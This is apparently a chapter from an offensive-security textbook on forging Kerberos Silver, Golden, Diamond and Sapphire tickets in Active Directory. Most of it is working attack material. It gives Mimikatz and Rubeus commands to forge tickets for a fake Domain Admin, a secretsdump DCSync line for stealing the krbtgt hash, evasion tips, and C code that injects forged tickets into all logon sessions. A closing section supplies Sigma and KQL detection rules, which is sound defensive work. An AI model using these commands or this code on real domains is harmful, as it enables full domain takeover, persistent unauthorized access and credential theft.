Chapter 150

Silver Tickets and Golden Tickets

Silver and Golden Tickets are forged Kerberos tickets that bypass the KDC entirely — the attacker constructs and signs a ticket using a stolen service key (silver) or the domain's krbtgt key (golden), then injects it directly into a logon session. The KDC never sees the request. This chapter covers the cryptographic structure of both ticket types, what keys are required, how to forge tickets in C using the Windows Kerberos API, and what detection is actually possible when the KDC is bypassed.

Scenario

After DCSync (Chapter 129), you have the krbtgt AES256 key and the NT hash for every service account. You forge a Golden Ticket as a non-existent user (SuperAdmin) with Domain Admin group membership, valid for 10 years, and inject it. You can now access any resource in the domain as a Domain Admin without the real account existing — and without making any further requests to the KDC. You also forge a Silver Ticket for the CIFS/fileserver01 SPN using the machine account hash — this one never touches the DC at all, even for ticket validation.

Kerberos Ticket Anatomy

Kerberos Ticket (TGT or service ticket) internal structure: ┌────────────────────────────────────────────────────────┐ │ realm : corp.local │ │ sname : krbtgt/corp.local (TGT) │ │ cifs/fileserver01 (service ticket)│ │ enc-part (opaque) : encrypted with KEY │ │ └── enc-tkt-part: │ │ ├── flags : FORWARDABLE, RENEWABLE, etc. │ │ ├── key : session key (for AP-REQ auth) │ │ ├── crealm : corp.local │ │ ├── cname : Username (can be any string!) │ │ ├── transited : (ignored for silver) │ │ ├── authtime : when issued │ │ ├── endtime : expiry (set to 2034 for golden) │ │ └── authorization-data: │ │ └── PAC (Privilege Attribute Certificate) │ │ ├── LogonInfo (groups, SID, RID) │ │ ├── ServerChecksum: HMAC(service key) │ │ └── KDCChecksum: HMAC(krbtgt key) │ └────────────────────────────────────────────────────────┘ Silver ticket: enc-part encrypted with SERVICE ACCOUNT key (NT hash or AES256) PAC.ServerChecksum = HMAC(service_key, PAC) PAC.KDCChecksum = HMAC(service_key, PAC) ← silver fakes this too KDC never validates this ticket — service host validates it directly Scope: single service (CIFS, HTTP, MSSQL) on a single host Golden ticket: enc-part encrypted with krbtgt key (AES256 or RC4/NT hash) PAC.KDCChecksum = HMAC(krbtgt_key, PAC) ← requires krbtgt key Valid for any service in the domain — it IS a real TGT KDC validates the outer wrapper but cannot detect forged inner PAC content (unless PAC validation is enabled — rare in practice)

Silver Ticket — Construction Requirements

Required InfoHow to Get ItWhat It Enables
Service account NT hash or AES256LSASS dump, secretsdump, Kerberoast crackEncrypt service ticket enc-part
Domain SIDwhoami /all, Get-ADDomain, LDAPBuild PAC SID structure
Target hostnameDNS, LDAP enumerationSPN in sname field
Service typeKnown (cifs, http, mssql, host)SPN prefix
Target usernameAny string — doesn't have to existcname in ticket
# Mimikatz silver ticket (reference — we build the equivalent in C below):
kerberos::golden /user:FakeAdmin /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /target:fileserver01.corp.local \
    /service:cifs \
    /rc4:<service_account_nt_hash> \
    /ptt   # inject into current session

# Rubeus silver ticket:
Rubeus.exe silver /service:cifs/fileserver01.corp.local \
    /rc4:<NT_hash> \
    /user:FakeAdmin /domain:corp.local \
    /sid:S-1-5-21-... \
    /ptt

Golden Ticket — Construction

# Golden ticket requirements: krbtgt NT hash or AES256 key
# Obtained via DCSync (Chapter 129):
#   secretsdump.py -just-dc-user krbtgt corp/DA:password@dc01

# Mimikatz golden ticket:
kerberos::golden /user:FakeAdmin /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /krbtgt:<krbtgt_NT_hash> \
    /id:500 \          # RID — 500 = Administrator
    /groups:512 \      # group RIDs: 512=Domain Admins, 519=Enterprise Admins
    /endin:8760 \      # valid for 1 year (hours)
    /renewmax:52560 \  # renewable for 6 years
    /ptt

# AES256 golden ticket (better opsec — avoids RC4 downgrade detection):
kerberos::golden /user:FakeAdmin /domain:corp.local \
    /sid:S-1-5-21-... \
    /aes256:<krbtgt_aes256_key> \
    /ptt

# Rubeus:
Rubeus.exe golden /rc4:<krbtgt_hash> /user:FakeAdmin \
    /id:500 /domain:corp.local /sid:S-1-5-21-... /ptt

Diamond and Sapphire Tickets

Problem with classic Golden Tickets: Forged PAC contains anomalous fields: - Non-existent account (FakeAdmin) → no logon event in AD - Groups set to all DA/EA simultaneously → unusual for real users - Ticket creation time inconsistent with DC's KDC state Detection: Event 4769 + PAC validation + DC Kerberos logs show no AS-REQ for the user Diamond Ticket (Rubeus /diamond): 1. Request a REAL TGT for a real user account (AS-REQ → AS-REP) 2. Decrypt the TGT using the krbtgt key 3. MODIFY the PAC in-place (add group memberships, change RIDs) 4. Re-encrypt with the krbtgt key → re-inject Result: a real ticket from the KDC's perspective, with modified PAC Detection is much harder: AS-REQ exists, ticket structure is valid Requires: krbtgt key (same as golden) Sapphire Ticket (Rubeus /sapphire): 1. Obtain a real TGT for any account 2. S4U2Self + U2U to request a service ticket issued by the victim for themselves 3. Extract the PAC from the victim's service ticket (encrypted with session key) 4. Embed that PAC into a forged TGT Result: ticket with a real PAC from a real privileged user, but for any arbitrary user Most evasion-resistant forged ticket technique currently known

Ticket Injection in C (LsaCallAuthPackage)

// The actual ticket forgery (ASN.1 encoding + encryption) is done by tools like
// Mimikatz or Rubeus in .NET. Here we show the injection half in C —
// identical to Pass-the-Ticket from Chapter 146.
// The forged ticket bytes are produced externally and passed in.

BOOL InjectForgedTicket(const BYTE* ticketBytes, DWORD ticketLen,
                          BOOL injectIntoAllSessions) {
    HANDLE hLsa;
    LsaConnectUntrusted(&hLsa);

    LSA_STRING authPkgName; ULONG authPkg;
    RtlInitString(&authPkgName, MICROSOFT_KERBEROS_NAME_A);
    LsaLookupAuthenticationPackage(hLsa, &authPkgName, &authPkg);

    ULONG reqSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + ticketLen;
    KERB_SUBMIT_TKT_REQUEST* req = (KERB_SUBMIT_TKT_REQUEST*)
        HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, reqSize);
    req->MessageType = KerbSubmitTicketMessage;
    req->KerbCredSize = ticketLen;
    req->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
    memcpy((BYTE*)req + req->KerbCredOffset, ticketBytes, ticketLen);

    if (injectIntoAllSessions) {
        // Requires SeImpersonatePrivilege — enumerate all logon sessions and inject
        // into each one, so the ticket is available regardless of which LUID is used
        ULONG count; PLUID sessions;
        LsaEnumerateLogonSessions(&count, &sessions);
        for (ULONG i = 0; i < count; i++) {
            req->LogonId = sessions[i];
            NTSTATUS sub; void* resp; ULONG len;
            LsaCallAuthenticationPackage(hLsa, authPkg,
                req, reqSize, &resp, &len, &sub);
            if (resp) LsaFreeReturnBuffer(resp);
        }
        LsaFreeReturnBuffer(sessions);
    } else {
        // Inject into current session only (LogonId = {0,0})
        NTSTATUS sub; void* resp; ULONG len;
        LsaCallAuthenticationPackage(hLsa, authPkg,
            req, reqSize, &resp, &len, &sub);
        if (resp) LsaFreeReturnBuffer(resp);
    }
    HeapFree(GetProcessHeap(), 0, req);
    LsaDeregisterLogonProcess(hLsa);
    printf("[+] Forged ticket injected\n");
    return TRUE;
}

Detection Engineering

-- Golden Ticket detection challenges:
-- No AS-REQ logged for the forged user: user FakeAdmin never sent a TGS-REQ before TGT use
-- Event 4769 appears for TGS requests using the golden ticket — but no preceding 4768 for that user

-- Silver Ticket: completely bypasses the KDC — ZERO events on the DC
-- Only the target host can detect it: PAC validation (if enabled)

title: Golden Ticket Indicator — Kerberos TGS Without Preceding AS-REQ
logsource:
  product: windows
  service: security
detection:
  selection_tgs:
    EventID: 4769
    Status: '0x0'
  filter_has_tgt:
    EventID: 4768                  # TGT must precede TGS for the same account
  timeframe: 20m
  condition: selection_tgs AND NOT filter_has_tgt
level: high
tags: [attack.credential_access, T1558.001]

title: Golden Ticket — Ticket Lifetime Exceeds Domain Policy
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketOptions|contains: '0x40810010'   # FORWARDABLE|RENEWABLE|CANONICALIZE|RENEWABLE_OK
  condition: selection
level: low   # tune with lifetime check from ticket fields

-- MDE KQL: anomalous Kerberos ticket lifetime (golden ticket often 10y)
DeviceEvents
| where ActionType == "KerberosServiceTicketRequest"
| extend Fields = todynamic(AdditionalFields)
| where datetime_diff('hour',
    todatetime(Fields.TicketEndTime),
    todatetime(Fields.TicketStartTime)) > 20
| project Timestamp, DeviceName, Fields.AccountName,
          Fields.TicketStartTime, Fields.TicketEndTime,
          Fields.ServiceName

Q&A

What is the most reliable way to detect a Golden Ticket after it has been injected and is actively in use?

The most reliable detection signal for Golden Ticket abuse is the absence of a matching TGT request (Event 4768) for the account that subsequently makes service ticket requests (Event 4769). A legitimate Kerberos workflow always begins with an AS-REQ (4768) before service tickets can be requested. A Golden Ticket skips the AS-REQ entirely — the forged TGT is injected directly into memory. Correlation logic: if Event 4769 from a username has no Event 4768 for the same account within the past 10 hours (the default TGT lifetime), it warrants investigation.

Additional signals: (1) Impossible ticket lifetime: Golden Tickets are commonly forged with lifetimes of 10 years. Event 4769 or DC logs may show ticket expiry times far beyond the domain's MaxTicketAge policy. (2) Non-existent account: if the account name in the ticket doesn't match any account in AD, the 4769 event shows a username not found by any LDAP query. (3) PAC validation: if ValidateKdcPacSignature is enabled on all service hosts (registry key under HKLM\SYSTEM\CurrentControlSet\Services\Kdc), the service will contact the KDC to validate the PAC for every service ticket. A silver or golden ticket with a forged PAC will fail this validation. This is rarely deployed because it adds KDC load and breaks some edge cases. (4) AES vs RC4 inconsistency: if an account's Kerberos policy requires AES but the injected ticket uses RC4, the mismatch may be detectable. The practical defensive posture is DC-side: enable full Kerberos logging (Audit Kerberos Authentication Service and Audit Kerberos Service Ticket Operations), ship those logs to a SIEM, and implement the correlation rule for 4769 without preceding 4768. The hardest scenario — Diamond Tickets — generates a real 4768 and forges only the PAC, making correlation-based detection insufficient; these require behavioral anomaly detection on the account's post-ticket activity.